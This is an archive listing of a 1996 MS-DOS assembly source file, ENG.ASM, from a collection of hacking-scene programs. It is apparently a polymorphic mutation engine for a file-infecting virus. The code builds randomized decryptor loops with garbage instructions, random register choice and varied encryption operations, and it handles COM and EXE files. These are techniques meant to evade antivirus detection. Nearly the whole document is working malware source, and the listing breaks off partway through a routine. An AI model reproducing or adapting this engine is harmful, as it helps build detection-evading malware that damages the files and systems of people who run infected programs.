home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-E.ZIP / ENG.ASM < prev    next >
Assembly Source File  |  1996-03-17  |  39KB  |  940 lines

  1. ;----------------------------<<eng.asm>>---------------------------------------
  2.  
  3. _ax             equ     0
  4. _cx             equ     1
  5. _dx             equ     2
  6. _bx             equ     3
  7. _sp             equ     4
  8. _bp             equ     5
  9. _si             equ     6
  10. _di             equ     7
  11.  
  12.                 
  13. engine:         mov     ds:pointer,ax           ; save IP
  14.                 mov     di,offset decrypt
  15.                 mov     bx,offset make_count
  16.                 mov     cx,offset make_key
  17.                 mov     dx,offset make_ptr
  18.                 mov     si,offset order_ret
  19.                 or      bp,11101111b            ; SP is used
  20.                 call    order                   ; randomize and call registers
  21.                 push    di                      ; save start of loop
  22.                 push    di
  23.                 mov     si,offset encode
  24.                 mov     di,offset write_buff
  25.                 mov     cx,encode_end-encode
  26.                 rep     movsb                   ; copy write code
  27.                 mov     ds:encode_ptr,offset (encode_break-encode)+write_buff
  28.                 pop     di
  29.                 mov     bx,offset make_enc
  30.                 mov     cx,offset make_keychange
  31.                 mov     dx,offset make_deccount
  32.                 mov     si,offset make_incptr
  33.                 call    order                   ; call routines
  34.  
  35. ;=====( Preform loop )=======================================================;
  36.  
  37.                 mov     ax,2
  38.                 push    ax
  39.                 call    random                  ; test BP for 4000?
  40.                 pop     ax
  41.                 jz      loop_no_test
  42.                 test    bp,4000h                ; possible to just "Jcc"?
  43.                 jnz     loop_make_jcc
  44. loop_no_test:   call    random
  45.                 jz      loop_no_test1
  46.                 test    bp,2000h                ; use loop?
  47.                 jnz     loop_make_jcc
  48. loop_no_test1:  or      bp,800h                 ; do not change flags
  49.                 mov     ax,2
  50.                 cwd
  51.                 call    random                  ; try OR/AND/TEST reg,reg
  52.                                                 ; or XOR/ADD/OR/SUB reg,0?
  53.                 mov     al,ds:count_reg         ; get counter
  54.                 jnz     loop_orandtest
  55.                 call    boolean                 ; do XOR/OR/ADD or ADD/SUB?
  56.                 jnz     loop_modify
  57.                 call    add_reg                 ; ADD/SUB reg,0
  58.                 jmp     loop_make_jcc
  59.  
  60. loop_modify:    call    modify_reg              ; XOR/OR/ADD reg,0
  61.                 jmp     loop_make_jcc
  62.  
  63. loop_orandtest: mov     cl,3
  64.                 mov     ch,al
  65.                 shl     ch,cl
  66.                 or      al,ch                   ; set reg1 as reg2 also
  67.                 mov     bx,2                    ; OR/AND/TEST
  68.                 call    random_bx
  69.                 jnz     loop_and
  70.                 or      ax,9c0h                 ; OR reg1, reg2
  71. loop_reverse:   call    boolean                 ; use 9 or 11?
  72.                 jnz     loop_orandteststo
  73.                 or      ah,2h                   ; reg2, reg1
  74.                 jmp     loop_orandteststo
  75.  
  76. loop_and:       dec     bx
  77.                 jnz     loop_test
  78.                 or      ax,21c0h                ; AND reg1, reg2
  79.                 jmp     loop_reverse
  80.  
  81. loop_test:      or      ax,85c0h                ; TEST reg1, reg2
  82. loop_orandteststo:
  83.                 xchg    al,ah
  84.                 stosw                           ; store TEST/OR/AND
  85.                 or      bp,1800h                ; do not change flags/
  86.                                                 ; test stored
  87.                 call    garble
  88. loop_make_jcc:  and     bp,not 800h
  89.                 test    bp,2000h                ; code loop?
  90.                 jz      loop_make_jump
  91.                 mov     al,0e2h                 ; LOOP
  92.                 test    bp,1000h                ; possible to use LOOPNZ/Z?
  93.                 jz      loop_code_disp
  94.                 call    boolean
  95.                 jnz     loop_code_disp
  96.                 dec     ax                      ; LOOPZ
  97.                 call    boolean
  98.                 jnz     loop_iscx
  99.                 dec     ax                      ; LOOPNZ
  100.                 jmp     loop_code_disp
  101.                 
  102. ;=====( Now make conditional jump )==========================================;
  103.  
  104. jcc_tbl:        db      75h,79h,7dh,7fh         ; JNE/JNS/JG/JGE
  105.  
  106. loop_make_jump: mov     bx,offset jcc_tbl
  107.                 mov     ax,3
  108.                 call    random
  109.                 xlat                            ; get Conditional jump
  110.                 mov     bx,2
  111.                 call    random_bx               ; use JE/JS/LE/L then JMP?
  112.                 jnz     loop_code_disp
  113.                 cmp     ds:count_reg,_cx        ; CX is counter?
  114.                 jnz     loop_notcx
  115.                 mov     bl,4
  116.                 call    random_bx
  117.                 jnz     loop_notcx
  118.                 mov     al,0e3h + 1             ; JCXZ + 1
  119. loop_notcx:     dec     ax
  120. loop_iscx:      stosw
  121.                 cmp     al,07fh                 ; Jcxz/loopz?
  122.                 ja      loop_code_short
  123.                 call    boolean                 ; Use opposite or EB?
  124.                 jnz     loop_code_short
  125.                 or      bp,800h                 ; dont change flags
  126. loop_code_short:mov     si,di                   ; save offset of displacement
  127.                 call    garble
  128.                 lea     ax,ds:[si-2]
  129.                 sub     ax,di
  130.                 neg     al                      ; get jump displacement
  131.                 mov     ds:[si-1],al            ; save it
  132.                 test    bp,800h                 ; Dont change flags -> "Jcc"
  133.                 mov     al,0ebh                 ; Jmp short
  134.                 je      loop_code_disp
  135.                 mov     ax,3
  136.                 call    random
  137.                 mov     bx,offset jcc_tbl
  138.                 xlat                            ; Get JNE/JNS/JG/JGE
  139. loop_code_disp: stosb                           ; store jump
  140.                 pop     ax                      ; start of loop
  141.                 dec     ax
  142.                 sub     ax,di                   ; get loop displacement
  143.                 stosb
  144.                 or      bp,11101111b            ; free all registers
  145.                 and     bp,not 800h             ; allow flags to change
  146.                 call    garble
  147.                 mov     ax,19
  148.                 call    random                  ; 1 in 20 chance of non-jmp
  149.                 jnz     loop_code_jmp
  150.                 mov     ax,ds:pointer
  151.                 add     ax,offset file_start    ; where to jump
  152.                 xchg    dx,ax
  153.                 call    get_reg                 ; get a register
  154.                 call    mov_reg                 ; Mov value into register
  155.                 or      ax,0ffc0h + (4 shl 3)   ; JMP reg16
  156.                 call    boolean                 ; PUSH/RET or JMP reg16?
  157.                 jnz     loop_code_push
  158.                 xchg    al,ah
  159.                 jmp     loop_code_stosw
  160.  
  161. loop_code_push: mov     bx,2
  162.                 call    random_bx               ; 1 in 3 chance of FF /6 PUSH
  163.                 jnz     loop_code_push1
  164.                 xor     al,(6 shl 3) xor (4 shl 3) ; PUSH reg
  165.                 xchg    al,ah                
  166.                 stosw
  167.                 jmp     loop_code_ret
  168.  
  169. loop_code_push1:xor     al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
  170.                 stosb
  171. loop_code_ret:  call    garble
  172.                 mov     al,0c3h                 ; RETN
  173.                 stosb
  174.                 jmp     loop_code_end
  175.  
  176. loop_code_jmp:  mov     al,0e9h
  177.                 stosb                           ; Store Jump
  178.                 lea     ax,ds:[di-((file_start-2)-v_start)]
  179.                 neg     ax                      ; Jmp file_start
  180. loop_code_stosw:stosw
  181. loop_code_end:  mov     si,ds:encode_enc_ptr    ; get encrypt instruction ptr                                
  182.                 cmp     di,offset header        ; Decryptor is too large?
  183.                 jb      go_write_buff
  184.                 stc                             ; return error
  185.                 pushf
  186.                 pop     bp
  187.                 retn
  188.  
  189. go_write_buff:  jmp     write_buff              ; encrypt/write/decrypt
  190.  
  191.  
  192. ;=====( Inc pointer )========================================================;
  193.  
  194. make_incptr:    mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  195.                 mov     dx,2                    ; ADD ptr,2
  196.                 cmp     ah,-1                   ; two registers used?
  197.                 jz      make_incptr_1
  198.                 call    boolean                 ; do one or both?
  199.                 jnz     make_incptr_do1
  200.                 dec     dx                      ; ADD ptr,1
  201.                 call    make_incptr_do1
  202.                 jmp     make_incptr_2
  203.  
  204. make_incptr_do1:call    boolean
  205.                 jnz     make_incptr_1
  206. make_incptr_2:  xchg    al,ah
  207. make_incptr_1:  call    add_reg
  208.                 sub     ds:disp,dx              ; add to displacement
  209.                 retn 
  210.  
  211. ;=====( Dec counter )========================================================;
  212.  
  213. make_deccount:  cmp     si,offset make_deccount ; last operation?
  214.                 jnz     make_deccount_notlast
  215.                 call    boolean                 ; do it?
  216.                 jnz     make_deccount_notlast
  217.                 or      bp,4800h                ; remember we're last
  218. make_deccount_notlast:
  219.                 mov     al,ds:count_reg
  220.                 cmp     al,_cx                  ; possible to use LOOP/LOOPNZ?
  221.                 jnz     make_deccount_notcx
  222.                 call    boolean
  223.                 jnz     make_deccount_notcx
  224.                 or      bp,2000h                ; do LOOP
  225.                 jmp     make_deccount_exit
  226.  
  227. make_deccount_notcx:
  228.                 mov     dx,-1                   ; ADD counter,-1
  229.                 call    add_reg
  230. make_deccount_exit:
  231.                 or      bp,400h                 ; deccount executed
  232.                 retn                   
  233.  
  234. ;=====( Make encryption instruction )========================================;
  235.  
  236. make_enc:       push    bp
  237.                 and     bp,not 400h
  238.                 mov     al,ds:key_reg
  239.                 push    ax                      ; save key register
  240. make_enc_which: mov     ax,4                    ; ADD/SUB/XOR/ROR/ROL
  241.                 call    random
  242.                 mov     bx,0105h                ; ADD [DI],AX
  243.                 mov     cx,1119h                ; ADC/SBB
  244.                 mov     dx,2905h                ; SUB [DI],AX
  245.                 jz      make_enc_add
  246.                 dec     ax
  247.                 jz      make_enc_sub
  248.                 dec     ax
  249.                 jnz     make_enc_ror
  250.                 mov     bh,31h                  ; XOR
  251.                 mov     dx,3105h                ; XOR [DI],AX
  252.                 jmp     make_enc_sto
  253.  
  254. make_enc_ror:   cmp     ds:key_reg,_cx          ; CX is key?
  255.                 jne     make_enc_which
  256.                 or      bp,400h                 ; Put XCHG CX,AX
  257.                 mov     bh,0d3h
  258.                 mov     dx,0d30dh               ; ROL 
  259.                 dec     ax
  260.                 jz      r_make_enc_sto
  261.                 xchg    bx,dx                   ; ROR
  262. r_make_enc_sto: mov     ds:key_reg,al           ; 1 SHL 3 = 08 / D3 08
  263.                                                 ; D3 00 = ROL [],CL
  264.                 jmp     make_enc_sto
  265.  
  266. make_enc_sub:   xchg    dh,bh                   ; SUB - ADD [DI],AX
  267.                 xchg    cl,ch                   ; SBB/ADC
  268. make_enc_add:   call    boolean                 ; do Carry?
  269.                 jnz     make_enc_sto
  270.                 push    bx
  271.                 mov     bh,ch                   ; Make it ADC/SBB
  272.                 call    clear_carry
  273.                 cmp     al,0
  274.                 org     $ - 1
  275. make_enc_sto:   push    bx
  276.                 test    bp,8000h                ; EXE file?
  277.                 jz      make_enc_com
  278.                 call    is_bp_ptr               ; is BP a pointer?
  279.                 je      make_enc_com
  280.                 mov     al,2eh                  ; CS:
  281.                 call    boolean
  282.                 jnz     make_enc_cs
  283.                 mov     al,36h                  ; SS:
  284. make_enc_cs:    stosb                           ; store segment override
  285. make_enc_com:   mov     al,bh
  286.                 stosb                           ; store instruction
  287.                 mov     ax,word ptr ds:ptr_reg  ; get pointer registers
  288.                 cmp     ah,-1                   ; second reg?
  289.                 je      make_enc_xlat
  290.                 add     al,ah
  291. make_enc_xlat:  mov     bx,offset rm_tbl
  292.                 xlat                            ; get r/m
  293.                 call    is_bp_ptr               ; is BP a pointer?
  294.                 jnz     make_enc_nobp
  295.                 inc     ah                      ; is there a second reg?
  296.                 jne     make_enc_nobp
  297.                 or      al,01000000b            ; [BP+xx]
  298. make_enc_nobp:  mov     cx,ds:disp              ; get displacement
  299.                 mov     bx,6
  300.                 call    random_bx               ; allow no displacement?
  301.                 jz      make_enc_get_disp
  302.                 jcxz    make_enc_sto_rm
  303. make_enc_get_disp:
  304.                 or      al,01000000b            ; 8bit displacement
  305.                 call    boolean                 ; allow 8bit displacement?
  306.                 jnz     make_enc_16bit
  307.                 cmp     cx,7fh                  ; 8bit displacement?
  308.                 jbe     make_enc_sto_rm         
  309.                 cmp     cx,-80h
  310.                 jb      make_enc_16bit
  311.                 xor     ch,ch
  312.                 cmp     ax,0
  313.                 org     $ - 2
  314. make_enc_16bit: xor     al,11000000b            ; 8bit off, 16bit on
  315. make_enc_sto_rm:mov     ah,ds:key_reg
  316.                 shl     ah,1
  317.                 shl     ah,1
  318.                 shl     ah,1                    ; from bits 0-2 of AH
  319.                 or      al,ah                   ; to bits 3-5 of AL
  320.                 stosb                           ; store r/m byte 
  321.                 test    al,11000000b            ; any displacement?
  322.                 jz      make_enc_disp
  323.                 test    al,10000000b            ; 16bit displacement?
  324.                 xchg    cx,ax
  325.                 stosw                           ; store displacement
  326.                 jnz     make_enc_disp
  327.                 dec     di                      ; 8bit only
  328. make_enc_disp:  xchg    di,ds:encode_ptr        ; get encode ptr
  329.                 test    bp,400h                 ; store XCHG CX,AX?
  330.                 je      make_enc_nor
  331.                 mov     al,91h                  ; XCHG CX,AX
  332.                 stosb
  333. make_enc_nor:   xchg    dx,ax
  334.                 xchg    al,ah
  335.                 mov     ds:encode_enc_ptr,di    ; save instruction pointer
  336.                 stosw                           ; set encryption instruction
  337.                 je      make_enc_nor1
  338.                 mov     al,91h                  ; XCHG CX,AX
  339.                 stosb
  340. make_enc_nor1:  xchg    di,ds:encode_ptr        ; restore decrypt ptr
  341.                 pop     ax
  342.                 xchg    al,ah
  343.                 mov     word ptr ds:write_buff[encode_flip-encode],ax 
  344.                                                 ; save opposite operation
  345.                 pop     ax 
  346.                 mov     ds:key_reg,al           ; restore key register
  347.                 pop     bp
  348.                 retn
  349.                 
  350. rm_tbl:         db      -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3  ; -1's not used
  351.  
  352. ;=====( Change key )=========================================================;
  353.  
  354. make_keychange: call    boolean                 ; change key?
  355.                 jnz     make_keychange_yes
  356.                 retn
  357.                 
  358. make_keychange_yes:
  359.                 push    bp
  360.                 or      bp,200h                 ; let know that keychange
  361.                 mov     ax,3
  362.                 call    random                  ; 1 in 4 chance of modify_reg
  363.                 jnz     keychange_other
  364.                 call    random_1
  365.                 xchg    dx,ax                   ; Random value to modify key
  366.                                                 ; reg by
  367.                 mov     al,ds:key_reg
  368.                 call    modify_reg              ; XOR/ADD/OR
  369. keychange_stoop:xchg    di,ds:encode_ptr        ; get ptr to encode
  370.                 inc     di                      ; CLC
  371.                 mov     al,ds:modify_op         ; get operation
  372.                 stosb
  373. keychange_stodx:xchg    dx,ax                   ; store value/operation
  374. keychange_sto:  stosw
  375.                 xchg    di,ds:encode_ptr        ; get decrypt pointer
  376.                 pop     bp
  377.                 retn
  378.  
  379. keychange_other:mov     al,4                    ; ROR/ROL/NOT/NEG/ADD
  380.                 call    random 
  381.                 jnz     keychange_rol
  382.                 mov     ax,0d1c0h               ; ROR AX,1
  383. keychange_cl:   mov     bx,2                    ; 1 in 3 chance of ,CL
  384.                 call    random_bx
  385.                 jnz     keychange_nocl
  386.                 cmp     ds:count_reg,_cx          ; Count is CX?
  387.                 jne     keychange_nocl
  388.                 test    bp,400h                 ; Count already decremented?
  389.                 jnz     keychange_nocl
  390.                 or      ah,2                    ; By CL
  391. keychange_nocl: xchg    al,ah
  392.                 push    ax
  393.                 or      ah,ds:key_reg           ; set key register
  394.                 stosw                           ; store instruction
  395.                 pop     ax
  396.                 xchg    di,ds:encode_ptr        ; get encode ptr
  397.                 jmp     keychange_sto
  398.  
  399. keychange_rol:  dec     ax
  400.                 jnz     keychange_not
  401.                 mov     ax,0d1c0h or (1 shl 3)  ; ROL AX,1
  402.                 jmp     keychange_cl
  403.  
  404. keychange_not:  dec     ax
  405.                 jnz     keychange_neg                
  406.                 mov     ax,0f7c0h + (2 shl 3)   ; NOT AX
  407.                 jmp     keychange_nocl
  408.  
  409. keychange_neg:  dec     ax
  410.                 jnz     keychange_add
  411.                 mov     ax,0f7c0h + (3 shl 3)   ; NEG AX
  412.                 jmp     keychange_nocl
  413.  
  414. keychange_add:  call    random_1
  415.                 xchg    dx,ax
  416.                 mov     al,ds:key_reg           ; get key register
  417.                 call    add_reg                 ; ADD reg(ax), value(dx)
  418.                 jmp     keychange_stoop
  419.  
  420. ;=====( Build key )==========================================================;
  421.  
  422. make_key:       call    get_reg                 ; get register
  423.                 xchg    dx,ax
  424.                 call    random_1                ; get key
  425.                 mov     ds:key,ax               ; save key
  426.                 xchg    dx,ax
  427.                 mov     ds:key_reg,al           ; save register
  428.                 call    mov_reg                 ; MOV reg(ax),value(dx)
  429.                 retn
  430.  
  431. ;=====( Build counter )======================================================;
  432.  
  433. make_count:     call    get_reg                 ; get register
  434.                 mov     ds:count_reg,al         ; save register
  435.                 mov     dx,(decrypt-v_start)/2  ; # of words to crypt
  436.                 call    mov_reg                 ; mov reg(ax),value(dx)
  437.                 retn
  438.  
  439. ;=====( Build Pointer )======================================================;
  440.  
  441. make_ptr:       mov     dx,ds:pointer
  442.                 call    get_ptr_reg             ; get DI/SI/BP/BX
  443.                 mov     ds:ptr_reg,al
  444.                 mov     ds:ptr_reg1,-1          
  445.                 mov     bx,3
  446.                 call    random_bx               ; 1 in 4 chance of 2 regs
  447.                 jnz     make_ptr_2
  448.                 cmp     al,_si
  449.                 mov     bx,11000000b            ; DI/SI
  450.                 jb      make_ptr_test
  451.                 mov     bl,00101000b            ; BP/BX
  452. make_ptr_test:  test    bp,bx                   ; 'other' availible?
  453.                 jz      make_ptr_2
  454. make_ptr_again: call    get_ptr_reg             ; get DI/SI/BP/BX
  455.                 push    ax
  456.                 call    conv_num                ; convert to bit-map number
  457.                 test    al,bl                   ; is it other type?
  458.                 pop     ax
  459.                 jnz     make_ptr_ok
  460.                 call    del_reg                 ; delete register
  461.                 jmp     make_ptr_again
  462.  
  463. make_ptr_ok:    mov     ds:ptr_reg1,al          ; save second register
  464.                 mov     bx,-1
  465.                 call    random_bx
  466.                 sub     dx,bx                   ; randomize values
  467.                 xchg    bx,dx
  468.                 call    mov_reg                 ; mov reg(ax), value(dx)
  469.                 xchg    bx,dx
  470.                 mov     al,ds:ptr_reg           ; get first reg
  471. make_ptr_2:     xor     bx,bx                   ; zero displacement
  472.                 call    boolean                 ; use one?
  473.                 jnz     make_ptr_nodisp
  474.                 mov     bx,-1
  475.                 call    random_bx
  476.                 sub     dx,bx                   ; subtract displacement
  477. make_ptr_nodisp:mov     ds:disp,bx              ; save displacement
  478.                 call    mov_reg                 ; mov reg(ax), value(dx)
  479.                 retn
  480.                 
  481. ;=====( Shell for mov_reg1 )=================================================;
  482.  
  483. mov_reg:        push    bx dx
  484.                 mov     bx,4
  485.                 call    random_bx               ; 1 in 5 chance of MOV/ADD/SUB
  486.                 jnz     mov_reg_call
  487.                 mov     bx,-1
  488.                 call    random_bx               ; get random #
  489.                 sub     dx,bx                   ; MOV reg, value-random #
  490.                 call    mov_reg1                ; do MOV reg,
  491.                 mov     dx,bx
  492.                 call    add_reg                 ; Now add difference
  493.                 pop     dx bx
  494.                 retn
  495.  
  496. mov_reg_call:   pop     dx bx
  497.  
  498. ;=====( Mov reg(ax), value(dx) )=============================================;
  499.  
  500. mov_reg1:       push    ax bx cx dx
  501.                 cbw
  502.                 mov     bx,2
  503.                 call    random_bx               ; MOV or SUB/XOR ADD/OR/XOR
  504.                 jz      mov_reg_other
  505.                 mov     bl,2
  506.                 call    random_bx               ; 1 in 3 chance of c6/c7 MOV
  507.                 jnz     mov_reg_b0
  508.                 or      ax,0c7c0h               ; MOV reg,imm
  509.                 call    boolean                 ; Do long MOV or LEA?
  510.                 jnz     mov_reg_c7
  511.                 mov     cl,3
  512.                 shl     al,cl                   ; Reg -> bits 3,4,5
  513.                 xor     ax,(8d00h or 110b) xor 0c700h  ; LEA reg,[imm]
  514. mov_reg_c7:     xchg    al,ah
  515.                 stosw                           ; store it
  516. mov_reg_sto:    xchg    dx,ax
  517.                 stosw                           ; store value
  518.                 call    garble
  519. mov_reg_exit:   jmp     modify_pop
  520.  
  521. mov_reg_b0:     or      al,0b8h                 ; MOV reg,imm
  522.                 stosb
  523.                 jmp     mov_reg_sto
  524.  
  525. mov_reg_other:  push    ax
  526.                 mov     cl,3
  527.                 mov     ch,al
  528.                 shl     ch,cl                   ; copy reg1 to reg2
  529.                 or      al,ch                   ; set it
  530.                 call    boolean
  531.                 jnz     mov_reg_other1
  532.                 or      ah,2                    ; reg1, reg2 -> reg2, reg1
  533. mov_reg_other1: call    boolean
  534.                 jnz     mov_reg_xor
  535.                 or      ax,29c0h                ; SUB reg, reg
  536.                 call    boolean
  537.                 jnz     mov_reg_other_sto
  538.                 xor     ah,19h xor 29h          ; SBB reg, reg
  539.                 call    clear_carry             ; clear carry flag
  540. mov_reg_other_sto:
  541.                 xchg    al,ah
  542.                 stosw
  543.                 call    garble
  544.                 pop     ax
  545.                 call    modify_reg              ; ADD/OR/XOR reg(ax),value(dx)
  546.                 jmp     mov_reg_exit
  547.  
  548. mov_reg_xor:    or      ax,31c0h                ; XOR AX,AX
  549.                 jmp     mov_reg_other_sto
  550.  
  551. ;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
  552.  
  553. modify_reg:     push    ax bx cx dx
  554.                 cbw
  555.                 mov     bx,2
  556.                 call    random_bx
  557.                 mov     cx,3500h + (6 shl 3)    ; XOR
  558.                 jz      modify_reg_cont
  559.                 mov     cx,0d00h + (1 shl 3)    ; OR
  560.                 dec     bx
  561.                 jz      modify_reg_cont
  562. modify_reg_add: mov     cx,0500h                ; ADD
  563.                 call    boolean                 ; ADC or ADD?
  564.                 jnz     modify_reg_cont
  565.                 mov     cx,1500h + (2 shl 3)    ; ADC
  566. modify_reg_clc: call    clear_carry             ; Clear carry flag
  567. modify_reg_cont:test    bp,200h                 ; keychange executing?
  568.                 jz      modify_reg_nosave
  569.                 mov     ds:modify_op,ch         ; save AX operation
  570. modify_reg_nosave:
  571.                 call    boolean                 ; check if AX?
  572.                 jnz     modify_reg_noax
  573.                 or      al,al                   ; AX?
  574.                 jnz     modify_reg_noax
  575.                 mov     al,ch
  576.                 stosb                           ; store instruction
  577.                 xchg    dx,ax
  578. modify_sto:     stosw                           ; store value
  579. modify_exit:    call    garble
  580. modify_pop:     pop     dx cx bx ax
  581.                 retn
  582.  
  583. modify_reg_noax:or      ax,81c0h
  584.                 or      al,cl                   ; XOR/OR/ADD
  585.                 call    boolean                 ; sign extend?
  586.                 jnz     modify_reg_nosign
  587.                 cmp     dx,7fh                  ; possible to sign extend?
  588.                 jbe     modify_sign
  589.                 cmp     dx,-80h
  590.                 jb      modify_reg_nosign
  591. modify_sign:    or      ah,2                    ; sign extend
  592. modify_reg_nosign:                
  593.                 xchg    al,ah
  594.                 stosw
  595.                 test    al,2                    ; sign extended?
  596.                 xchg    dx,ax
  597.                 je      modify_sto
  598.                 stosb
  599.                 jmp     modify_exit
  600.                 
  601. ;=====( ADD reg(ax), value(dx) )=============================================;
  602.  
  603. add_reg:        push    ax bx cx dx
  604.                 cbw
  605.                 mov     cx,dx
  606. add_loop:       mov     bx,3
  607.                 call    random_bx               ; 1 in 4 chance of ADD/SUB
  608.                 jz      add_noinc
  609.                 mov     bx,40c0h                ; INC reg
  610.                 test    bp,200h                 ; keychange running?
  611.                 jz      add_nosave
  612.                 mov     ds:modify_op,05h        ; ADD AX,
  613. add_nosave:     cmp     cx,3h                   ; too high to INC?
  614.                 jb      add_inc
  615.                 neg     cx
  616.                 cmp     cx,3h                   ; too low to DEC?
  617.                 ja      add_noinc
  618.                 mov     bx,48c0h + (1 shl 3)    ; DEC reg
  619.                 test    bp,200h
  620.                 jz      sub_nosave
  621.                 mov     ds:modify_op,2dh        ; SUB AX,
  622. sub_nosave:     inc     dx
  623.                 inc     cx
  624.                 cmp     ax,0
  625.                 org     $ - 2
  626. add_inc:        dec     dx
  627.                 dec     cx
  628.                 push    ax
  629.                 mov     ax,5
  630.                 call    random                  ; 1 in 6 chance of FF
  631.                 pop     ax      
  632.                 push    ax
  633.                 jnz     add_inc_40
  634.                 mov     ah,0ffh
  635.                 xchg    bl,bh
  636.                 xchg    al,ah                   ; AL=ff AH=Reg
  637.                 stosb 
  638.                 xchg    al,ah
  639. add_inc_40:     or      al,bh                   ; set DEC/INC
  640.                 stosb
  641.                 pop     ax
  642.                 call    garble
  643.                 or      dx,dx                   ; all done?
  644.                 jnz     add_loop
  645. add_reg_exit:   jmp     modify_pop
  646.  
  647. add_noinc:      call    boolean                 ; ADD or SUB?
  648.                 jz      sub_reg
  649.                 jmp     modify_reg_add
  650.                 
  651. sub_reg:        test    bp,200h                 ; keychange?
  652.                 jnz     sub_reg_key
  653.                 neg     dx
  654. sub_reg_key:    mov     cx,2d00h + (5 shl 3)    ; SUB
  655.                 call    boolean                 ; use SBB?
  656.                 jz      sbb_reg
  657.                 jmp     modify_reg_cont
  658.  
  659. sbb_reg:        mov     cx,1d00h + (3 shl 3)    ; SBB
  660.                 jmp     modify_reg_clc
  661.                 
  662. ;=====( clear carry flag )===================================================;
  663.  
  664. clear_carry:    push    ax bp
  665.                 or      bp,800h                 ; don't change flags
  666.                 mov     al,0f8h                 ; CLC
  667.                 call    boolean
  668.                 jnz     clear_carry_clc
  669.                 mov     ax,0f5f9h               ; STC/CMC
  670.                 stosb
  671.                 call    garble
  672.                 xchg    al,ah
  673. clear_carry_clc:stosb
  674.                 call    garble
  675.                 pop     bp ax
  676.                 retn
  677.  
  678. garble:         push    ax
  679.                 mov     ax,2
  680.                 call    random                  ; how many times to call?
  681.                 xchg    cx,ax
  682.                 jcxz    garble_exit
  683. garble_loop:    call    garble1
  684.                 loop    garble_loop
  685. garble_exit:    xchg    cx,ax
  686.                 pop     ax
  687.                 retn
  688.  
  689. ;=====( add garbage code )===================================================;
  690.  
  691. garble1:        push    ax bx cx dx bp
  692.                 test    bp,100h                 ; Garble already executing?
  693.                 jnz     garble_ret
  694.                 and     bp,not 200h             ; keychange not executing
  695.                 or      bp,100h                 ; Garble executing
  696.                 call    boolean
  697.                 jnz     garble_ret
  698.                 mov     cl,3
  699.                 call    random_1
  700.                 xchg    dx,ax                   ; DX=random number
  701.                 call    get_reg                 ; get register
  702.                 jc      garble_ret
  703.                 mov     bx,6
  704.                 test    bp,800h                 ; flag change allowed?
  705.                 jz      garble_f
  706.                 mov     bl,2
  707. garble_f:       call    random_bx            ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
  708.                 jnz     garble_xchg
  709.                 or      ah,89h
  710. garble_reg_set: call    boolean                 ; reg1, reg2 or reg2, reg1?
  711.                 jz      garble_reg_reg
  712.                 or      ah,2                    ; 8b
  713.                 xchg    al,dl
  714. garble_reg_reg: and     dl,7                    ; Get register values only
  715.                 and     al,7
  716.                 shl     dl,cl
  717.                 or      al,0c0h                 ; MOV reg1, random reg
  718.                 or      al,dl
  719.                 xchg    al,ah
  720.                 stosw
  721. garble_ret:     pop     bp 
  722.                 jmp     modify_pop
  723.  
  724. garble_xchg:    dec     bx
  725.                 jnz     garble_1byte
  726.                 xchg    dx,ax
  727.                 call    get_reg                 ; get another reg
  728.                 jc      garble_ret
  729.                 xchg    dx,ax                   ; AL=reg1 DL=reg2
  730.                 call    boolean
  731.                 jnz     garble_xchgnoax
  732.                 or      dl,dl                   ; AX?
  733.                 jz      garble_xchgax
  734.                 or      al,al
  735.                 jz      garble_xchgax
  736. garble_xchgnoax:or      ah,87h                  ; XCHG reg1,
  737.                 jmp     garble_reg_reg
  738.  
  739. garble_xchgax:  or      al,90h
  740.                 or      al,dl                   ; XCHG AX, reg
  741. garble_stosb:   stosb
  742.                 jmp     garble_ret
  743.                 
  744. garble_1byte:   dec     bx
  745.                 jnz     garble_modify
  746.                 mov     al,4
  747.                 call    random
  748.                 mov     bx,offset garble_1byte_tbl
  749.                 xlat                            ; get 1 byte instruction
  750.                 jmp     garble_stosb
  751.                 
  752. garble_modify:  dec     bx
  753.                 jnz     garble_add
  754.                 call    modify_reg              ; ADD/XOR/OR reg1, random #
  755.                 jmp     garble_ret
  756.  
  757. garble_add:     dec     bx
  758.                 jnz     garble_mov
  759.                 call    add_reg                 ; ADD/SUB reg1, random #
  760.                 jmp     garble_ret
  761.  
  762. garble_mov:     dec     bx
  763.                 jnz     garble_op
  764.                 call    mov_reg                 ; MOV reg1, random #
  765.                 jmp     garble_ret
  766.  
  767. garble_op:      and     dh,00111000b            ; get rnd op
  768.                 mov     ah,1
  769.                 or      ah,dh
  770.                 jmp     garble_reg_set
  771.  
  772. garble_1byte_tbl:
  773.                 db      2eh
  774.                 db      36h
  775.                 cld
  776.                 std
  777.                 sti
  778.                 
  779. ;=====( Is BP a Pointer? )===================================================;
  780.  
  781. is_bp_ptr:      cmp     ds:ptr_reg,_bp
  782.                 je      bp_is_ptr
  783.                 cmp     ds:ptr_reg1,_bp
  784. bp_is_ptr:      retn
  785.  
  786. ;=====( Get pointer register (DI/SI/BP/BX) )=================================;
  787.  
  788. get_ptr_regnext:call    del_reg                 ; restore register to pool
  789.  
  790. get_ptr_reg:    call    get_reg                 ; get register
  791.                 cmp     al,_bx
  792.                 je      got_ptr_reg
  793.                 cmp     al,_bp
  794.                 jb      get_ptr_regnext
  795. got_ptr_reg:    retn
  796.  
  797. ;=====( return random register in AL )=======================================;
  798.  
  799. get_reg:        test    bp,11101111b            ; any registers free?
  800.                 stc
  801.                 jz      get_reg_exit
  802. get_reg_loop:   mov     ax,7
  803.                 call    random
  804.                 push    ax
  805.                 cbw
  806.                 call    conv_num                ; convert to bit map
  807.                 test    bp,ax                   ; is register free?
  808.                 pushf
  809.                 not     ax
  810.                 and     bp,ax                   ; mark register
  811.                 popf
  812.                 pop     ax
  813.                 jz      get_reg_loop
  814. get_reg_exit:   retn
  815.                 
  816. ;=====( Restore register to pool )===========================================;
  817.  
  818. del_reg:        push    ax
  819.                 cbw
  820.                 call    conv_num                ; convert to bit number
  821.                 or      bp,ax                   ; restore register
  822.                 pop     ax
  823.                 retn
  824.  
  825. ;=====( convert number to bit map )==========================================;
  826.  
  827. conv_num:       push    cx
  828.                 mov     cl,al
  829.                 mov     al,1
  830.                 shl     al,cl
  831.                 pop     cx
  832.                 retn
  833.  
  834. ;=====( randomize order of BX/CX/DX/SI, then call )==========================;
  835.  
  836. order:          call    garble
